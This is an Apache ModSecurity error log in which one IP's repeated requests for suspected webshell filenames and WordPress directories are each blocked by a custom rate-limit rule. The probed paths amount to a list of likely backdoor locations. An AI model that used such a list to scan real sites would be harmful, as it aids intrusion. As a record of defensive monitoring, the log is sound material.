[Tue Apr 28 19:49:55.030674 2026] [:error] [pid 33864:tid 33874] [client 68.221.203.83:24904] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afCe4zXchLGZ4QggCskaYAAAAIg"]
[Tue Apr 28 19:49:55.549108 2026] [:error] [pid 50889:tid 50902] [client 68.221.203.83:23137] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afCe44zszBr00txEzGg_kQAAAAo"]
[Tue Apr 28 19:49:56.109190 2026] [:error] [pid 33864:tid 33871] [client 68.221.203.83:23130] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afCe5DXchLGZ4QggCskaYQAAAIU"]
[Tue Apr 28 19:49:56.664527 2026] [:error] [pid 33777:tid 33859] [client 68.221.203.83:20618] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afCe5LXUCFWqmordGGLSbQAAARg"]
[Tue Apr 28 19:49:57.330523 2026] [:error] [pid 33864:tid 33885] [client 68.221.203.83:8348] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afCe5TXchLGZ4QggCskaYgAAAJM"]
[Tue Apr 28 19:49:57.849842 2026] [:error] [pid 33777:tid 33843] [client 68.221.203.83:20705] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "afCe5bXUCFWqmordGGLScQAAAQg"]
[Tue Apr 28 19:49:58.420658 2026] [:error] [pid 33777:tid 33858] [client 68.221.203.83:57207] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "afCe5rXUCFWqmordGGLScwAAARc"]
[Tue Apr 28 19:49:58.946071 2026] [:error] [pid 50889:tid 50914] [client 68.221.203.83:23123] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "afCe5ozszBr00txEzGg_mQAAABY"]
[Tue Apr 28 19:49:59.501118 2026] [:error] [pid 33777:tid 33848] [client 68.221.203.83:57196] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "afCe57XUCFWqmordGGLSdQAAAQ0"]
[Tue Apr 28 19:50:00.114523 2026] [:error] [pid 50889:tid 50892] [client 68.221.203.83:23141] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "afCe6IzszBr00txEzGg_nwAAAAA"]
[Tue Apr 28 19:50:00.624225 2026] [:error] [pid 33777:tid 33847] [client 68.221.203.83:24900] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "afCe6LXUCFWqmordGGLSegAAAQw"]
[Tue Apr 28 19:50:01.142034 2026] [:error] [pid 33777:tid 33845] [client 68.221.203.83:18578] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "afCe6bXUCFWqmordGGLSewAAAQo"]
[Tue Apr 28 19:50:01.672349 2026] [:error] [pid 33777:tid 33853] [client 68.221.203.83:8358] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "afCe6bXUCFWqmordGGLSfgAAARI"]
[Tue Apr 28 19:50:08.791987 2026] [:error] [pid 33777:tid 33854] [client 68.221.203.83:20667] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "afCe8LXUCFWqmordGGLSnAAAARM"]
[Tue Apr 28 19:50:09.369689 2026] [:error] [pid 50889:tid 50892] [client 68.221.203.83:57794] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "afCe8YzszBr00txEzGg_sAAAAAA"]
[Tue Apr 28 19:50:10.006454 2026] [:error] [pid 33777:tid 33848] [client 68.221.203.83:18567] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "afCe8rXUCFWqmordGGLSogAAAQ0"]
[Tue Apr 28 19:50:10.537362 2026] [:error] [pid 33777:tid 33852] [client 68.221.203.83:24911] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "afCe8rXUCFWqmordGGLSqAAAARE"]
[Tue Apr 28 19:50:11.077791 2026] [:error] [pid 33777:tid 33843] [client 68.221.203.83:28139] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afCe87XUCFWqmordGGLSrAAAAQg"]
[Tue Apr 28 19:50:11.630957 2026] [:error] [pid 33777:tid 33849] [client 68.221.203.83:8351] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afCe87XUCFWqmordGGLStQAAAQ4"]
[Tue Apr 28 19:50:12.144105 2026] [:error] [pid 2741:tid 2753] [client 68.221.203.83:18617] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afCe9Pp92FeOz1h6ILzn0gAAAUc"]
[Tue Apr 28 19:50:12.703074 2026] [:error] [pid 33775:tid 33780] [client 68.221.203.83:16026] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afCe9JsYOcoQrq88YbUp2wAAAME"]
[Tue Apr 28 19:50:13.313169 2026] [:error] [pid 33775:tid 33788] [client 68.221.203.83:20666] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "afCe9ZsYOcoQrq88YbUp3QAAAMk"]
[Tue Apr 28 19:50:13.824298 2026] [:error] [pid 33864:tid 33885] [client 68.221.203.83:20710] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "afCe9TXchLGZ4QggCskacQAAAJM"]
[Tue Apr 28 19:50:14.343050 2026] [:error] [pid 50889:tid 50903] [client 68.221.203.83:20670] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "afCe9ozszBr00txEzGg_vwAAAAs"]
[Tue Apr 28 19:50:14.899884 2026] [:error] [pid 50889:tid 50914] [client 68.221.203.83:8366] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "afCe9ozszBr00txEzGg_wAAAABY"]
[Tue Apr 28 19:50:15.434061 2026] [:error] [pid 33777:tid 33841] [client 68.221.203.83:24918] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "afCe97XUCFWqmordGGLSvAAAAQY"]
[Tue Apr 28 19:50:15.989343 2026] [:error] [pid 33777:tid 33839] [client 68.221.203.83:23134] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "afCe97XUCFWqmordGGLSvgAAAQQ"]
[Tue Apr 28 19:50:16.506592 2026] [:error] [pid 33776:tid 33822] [client 68.221.203.83:57840] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "afCe-F-bEJ2CKP3iKAAuqwAAAE4"]
[Tue Apr 28 19:50:17.047791 2026] [:error] [pid 50889:tid 50911] [client 68.221.203.83:57199] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "afCe-YzszBr00txEzGg_wgAAABM"]
[Tue Apr 28 19:50:17.615147 2026] [:error] [pid 50889:tid 50892] [client 68.221.203.83:57805] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "afCe-YzszBr00txEzGg_xAAAAAA"]
[Tue Apr 28 19:50:18.144618 2026] [:error] [pid 50889:tid 50916] [client 68.221.203.83:18561] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "afCe-ozszBr00txEzGg_xQAAABg"]
[Tue Apr 28 19:50:18.731820 2026] [:error] [pid 50889:tid 50898] [client 68.221.203.83:28104] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "afCe-ozszBr00txEzGg_xgAAAAY"]
[Tue Apr 28 19:50:19.273669 2026] [:error] [pid 2741:tid 2760] [client 68.221.203.83:8382] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "afCe-_p92FeOz1h6ILzn1wAAAU4"]
[Tue Apr 28 19:50:19.917023 2026] [:error] [pid 2741:tid 2758] [client 68.221.203.83:57190] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "afCe-_p92FeOz1h6ILzn2AAAAUw"]
[Tue Apr 28 19:50:20.597176 2026] [:error] [pid 50889:tid 50902] [client 68.221.203.83:16032] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "afCe_IzszBr00txEzGg_xwAAAAo"]
[Tue Apr 28 19:50:21.223761 2026] [:error] [pid 33776:tid 33820] [client 68.221.203.83:20719] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "afCe_V-bEJ2CKP3iKAAusAAAAEw"]
[Tue Apr 28 19:50:21.861096 2026] [:error] [pid 33777:tid 33842] [client 68.221.203.83:8357] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "afCe_bXUCFWqmordGGLSywAAAQc"]
[Tue Apr 28 19:50:22.556714 2026] [:error] [pid 33777:tid 33853] [client 68.221.203.83:20734] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "afCe_rXUCFWqmordGGLS0QAAARI"]
[Tue Apr 28 19:50:23.123478 2026] [:error] [pid 50889:tid 50903] [client 68.221.203.83:20670] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "afCe_4zszBr00txEzGg_yQAAAAs"]
[Tue Apr 28 19:50:23.686506 2026] [:error] [pid 33775:tid 33803] [client 68.221.203.83:20702] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "afCe_5sYOcoQrq88YbUp5AAAANg"]
[Tue Apr 28 19:50:24.311555 2026] [:error] [pid 33776:tid 33830] [client 68.221.203.83:24942] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "afCfAF-bEJ2CKP3iKAAusQAAAFY"]
[Tue Apr 28 19:50:24.850262 2026] [:error] [pid 33777:tid 33836] [client 68.221.203.83:57803] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "afCfALXUCFWqmordGGLS1wAAAQE"]
[Tue Apr 28 19:50:25.369356 2026] [:error] [pid 50889:tid 50912] [client 68.221.203.83:24942] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "afCfAYzszBr00txEzGg_ywAAABQ"]
[Tue Apr 28 19:50:25.909779 2026] [:error] [pid 50889:tid 50913] [client 68.221.203.83:20617] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "afCfAYzszBr00txEzGg_zQAAABU"]
[Tue Apr 28 19:50:26.585687 2026] [:error] [pid 2741:tid 2750] [client 68.221.203.83:28096] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "afCfAvp92FeOz1h6ILzn3QAAAUQ"]
[Tue Apr 28 19:50:27.078468 2026] [:error] [pid 2741:tid 2765] [client 68.221.203.83:20643] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "afCfA_p92FeOz1h6ILzn4AAAAVM"]
[Tue Apr 28 19:50:27.591123 2026] [:error] [pid 33775:tid 33783] [client 68.221.203.83:16004] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "afCfA5sYOcoQrq88YbUp5gAAAMQ"]
[Tue Apr 28 19:50:28.081821 2026] [:error] [pid 2741:tid 2754] [client 68.221.203.83:8360] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "afCfBPp92FeOz1h6ILzn4gAAAUg"]
[Tue Apr 28 19:50:28.607068 2026] [:error] [pid 33776:tid 33818] [client 68.221.203.83:8323] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "afCfBF-bEJ2CKP3iKAAutgAAAEo"]
[Tue Apr 28 19:50:29.113374 2026] [:error] [pid 33864:tid 33870] [client 68.221.203.83:23164] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "afCfBTXchLGZ4QggCskadgAAAIQ"]
[Tue Apr 28 19:50:29.619655 2026] [:error] [pid 2741:tid 2758] [client 68.221.203.83:8367] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "afCfBfp92FeOz1h6ILzn5wAAAUw"]
[Tue Apr 28 19:50:30.165623 2026] [:error] [pid 50889:tid 50898] [client 68.221.203.83:21779] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "afCfBozszBr00txEzGg_zwAAAAY"]
[Tue Apr 28 19:50:30.694315 2026] [:error] [pid 33864:tid 33871] [client 68.221.203.83:23151] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "afCfBjXchLGZ4QggCskaeAAAAIU"]
[Tue Apr 28 19:50:31.210986 2026] [:error] [pid 50889:tid 50894] [client 68.221.203.83:57842] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "afCfB4zszBr00txEzGg_0gAAAAI"]
[Tue Apr 28 19:50:31.795583 2026] [:error] [pid 2741:tid 2767] [client 68.221.203.83:24896] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "afCfB_p92FeOz1h6ILzn6gAAAVU"]
[Tue Apr 28 19:50:32.357764 2026] [:error] [pid 2741:tid 2753] [client 68.221.203.83:8377] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "afCfCPp92FeOz1h6ILzn6wAAAUc"]
